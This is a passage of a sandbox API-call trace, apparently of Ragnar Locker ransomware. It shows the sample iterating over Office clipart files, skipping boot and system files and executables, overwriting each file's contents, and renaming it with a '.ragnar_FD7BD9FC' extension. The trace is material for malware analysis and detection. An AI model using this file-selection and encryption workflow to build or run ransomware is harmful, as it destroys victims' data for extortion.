lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.443] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00486_.WMF" | out: lpString1="SO00486_.WMF") returned="SO00486_.WMF" [0091.443] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF") returned=".WMF" [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="autorun.inf") returned 1 [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="boot.ini") returned 1 [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="bootfont.bin") returned 1 [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="bootsect.bak") returned 1 [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="bootmgr") returned 1 [0091.443] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="bootmgr.efi") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="desktop.ini") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="iconcache.db") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="ntldr") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="ntuser.dat") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="ntuser.ini") returned 1 [0091.444] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="thumbs.db") returned -1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.444] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf")) returned 0x20 [0091.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.445] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7768) returned 1 [0091.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.445] GetProcessHeap () returned 0x580000 [0091.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.445] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.447] VirtualAlloc (lpAddress=0x0, dwSize=0x1e58, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.447] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e58, lpOverlapped=0x0) returned 1 [0091.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.448] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e58, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.448] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e58, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e58, lpOverlapped=0x0) returned 1 [0091.448] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.448] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.448] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.448] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.448] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.449] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.449] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.449] GetProcessHeap () returned 0x580000 [0091.449] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.449] CloseHandle (hObject=0xf4) returned 1 [0091.449] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" [0091.449] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.ragnar_FD7BD9FC" [0091.449] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0091.450] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.450] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00505_.WMF" | out: lpString1="SO00505_.WMF") returned="SO00505_.WMF" [0091.450] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF") returned=".WMF" [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="autorun.inf") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="boot.ini") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="bootfont.bin") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="bootsect.bak") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="bootmgr") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="bootmgr.efi") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="desktop.ini") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="iconcache.db") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="ntldr") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="ntuser.dat") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="ntuser.ini") returned 1 [0091.450] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="thumbs.db") returned -1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.450] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf")) returned 0x20 [0091.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.451] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2724) returned 1 [0091.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.451] GetProcessHeap () returned 0x580000 [0091.451] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.451] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.452] VirtualAlloc (lpAddress=0x0, dwSize=0xaa4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.453] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaa4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaa4, lpOverlapped=0x0) returned 1 [0091.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa4, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.453] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaa4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaa4, lpOverlapped=0x0) returned 1 [0091.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.453] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.453] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.454] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.454] GetProcessHeap () returned 0x580000 [0091.454] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.454] CloseHandle (hObject=0xf4) returned 1 [0091.454] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" [0091.454] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.ragnar_FD7BD9FC" [0091.454] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0091.455] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.455] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00513_.WMF" | out: lpString1="SO00513_.WMF") returned="SO00513_.WMF" [0091.455] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF") returned=".WMF" [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="autorun.inf") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="boot.ini") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="bootfont.bin") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="bootsect.bak") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="bootmgr") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="bootmgr.efi") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="desktop.ini") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="iconcache.db") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="ntldr") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="ntuser.dat") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="ntuser.ini") returned 1 [0091.455] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="thumbs.db") returned -1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.455] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf")) returned 0x20 [0091.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.456] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5924) returned 1 [0091.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x171b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.456] GetProcessHeap () returned 0x580000 [0091.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.456] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.457] VirtualAlloc (lpAddress=0x0, dwSize=0x1724, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.458] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1724, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1724, lpOverlapped=0x0) returned 1 [0091.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.459] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1724, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.459] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1724, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1724, lpOverlapped=0x0) returned 1 [0091.459] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1724, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.459] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.459] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.459] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.459] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.459] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.459] GetProcessHeap () returned 0x580000 [0091.459] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.459] CloseHandle (hObject=0xf4) returned 1 [0091.459] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" [0091.459] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.ragnar_FD7BD9FC" [0091.460] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.460] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0091.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.460] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00555_.WMF" | out: lpString1="SO00555_.WMF") returned="SO00555_.WMF" [0091.460] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF") returned=".WMF" [0091.460] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.460] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="autorun.inf") returned 1 [0091.460] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="boot.ini") returned 1 [0091.460] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="bootfont.bin") returned 1 [0091.460] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="bootsect.bak") returned 1 [0091.460] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="bootmgr") returned 1 [0091.460] lstrcmpiW 